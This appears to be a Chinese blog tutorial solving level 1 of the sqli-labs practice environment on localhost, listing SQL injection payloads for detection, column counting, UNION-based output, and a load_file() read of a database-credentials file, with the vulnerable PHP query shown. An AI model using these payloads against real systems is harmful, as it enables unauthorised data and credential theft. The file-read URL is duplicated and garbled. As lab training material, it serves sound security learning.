sqli-labs实战第一关

1. 判断是否存在sql注入

http://127.0.0.1/Less-1/?id=2   正常
http://127.0.0.1/Less-1/?id=2'   报错
http://127.0.0.1/Less-1/?id=2' and '1'='1   正常
http://127.0.0.1/Less-1/?id=2' and '1'='2   报错
存在sql注入

2. 确定字段数

http://127.0.0.1/Less-1/?id=2' order by 3--+   正常
http://127.0.0.1/Less-1/?id=2' order by 4--+   报错
字段为3

3. 确定回显点
  • http://127.0.0.1/Less-1/?id=-2' union select 1,2,3--+
    将2改为-2使union之前的报错,查询 1,2,3 结果 2,3回显,所以可以在2,3处构造查询语句,下面以在3处为例
4. 信息收集
5. 获取数据
6. 提权

mysql不能直接执行系统命令,所以只能通过读写文件的方式完成提权
1. 读文件
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select load_file('/var/www/html/sql-connections/db-creds.inc'))--+
执行上面的命令后需要查看源代码才能在网页中看到文件内容
2. 写文件

源码分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
#没有对id做任何处理就直接带入到数据库中执行
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • http://127.0.0.1/sqli-labs-master 浅析MySQL中concat以及group_c...
    BerL1n阅读 12,756评论 0 4
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 13,532评论 2 22
  • web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。 1、 不使用被...
    查无此人asdasd阅读 12,154评论 0 5
  • 一、回调的含义和用途 1. 什么是回调? 一般来说,模块之间都存在一定的调用关系,从调用方式上看,可以分为三类:同...
    Coder_Y阅读 5,706评论 0 5
  • 夺门而出,她骑着车子在风中飞驰。 结婚五年,这是她第一次离开那个割舍不下的家。 从前她想着结婚后一定不能向那些姐妹...
    生活故事录阅读 2,372评论 0 0